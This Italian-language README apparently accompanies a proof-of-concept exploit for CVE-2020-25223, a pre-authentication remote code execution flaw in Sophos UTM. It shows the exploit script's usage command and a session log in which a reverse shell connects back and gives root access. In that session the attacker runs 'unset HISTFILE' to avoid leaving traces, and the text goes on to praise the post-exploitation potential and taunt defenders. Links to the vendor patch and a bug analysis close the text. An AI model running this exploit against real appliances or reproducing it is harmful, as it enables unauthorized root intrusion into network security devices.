
CVE-2020-25223
CVE-2020-25223 RCE PoC, ottiene una reverse shell. Pre-autenticazione. Implementato rapidamente poiché era necessario unificare alcuni magneti di minaccia.
# python sophucked.py https://x.x.x.x:4443 x.x.x.x 80
(+) avvio handler sulla porta 80
(+) Invio callback a x.x.x.x:80
(+) connessione da x.x.x.x
(+) pop thy shell!
bash: nessun controllo job in questa shell
utm:/var/confd # unset HISTFILE
unset HISTFILE
utm:/var/confd # id
id
uid=0(root) gid=0(root) groups=0(root)
utm:/var/confd # exit
exit
exit
*** Connessione chiusa dall'host remoto ***
#
Non implementato qui, basta usare il template nuclei.
Questi dispongono di un interprete Python e in realtà di un ambiente Linux molto completo. Potenziale incredibile per il post-sfruttamento.
Sono sicuro che qualcuno a cui importa possa compilare. Bitter (un sottoinsieme del 'blue team Twitter') lo farà probabilmente a breve. Voglio dire, non può essere così difficile rilevare una reverse shell non crittografata che esce dal tuo box Unified Threat Manager, giusto?
Qualcuno (presumibilmente da Sophos) ha inviato questo, è il link ufficiale per la correzione. Aggiornare il vostro UTM. https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce
Riferimento di terze parti (dettagli del bug): https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
Reclami diretti a Sophos, che in qualche modo ha pensato che passare input utente a open() in Perl fosse una buona idea nel 21° secolo.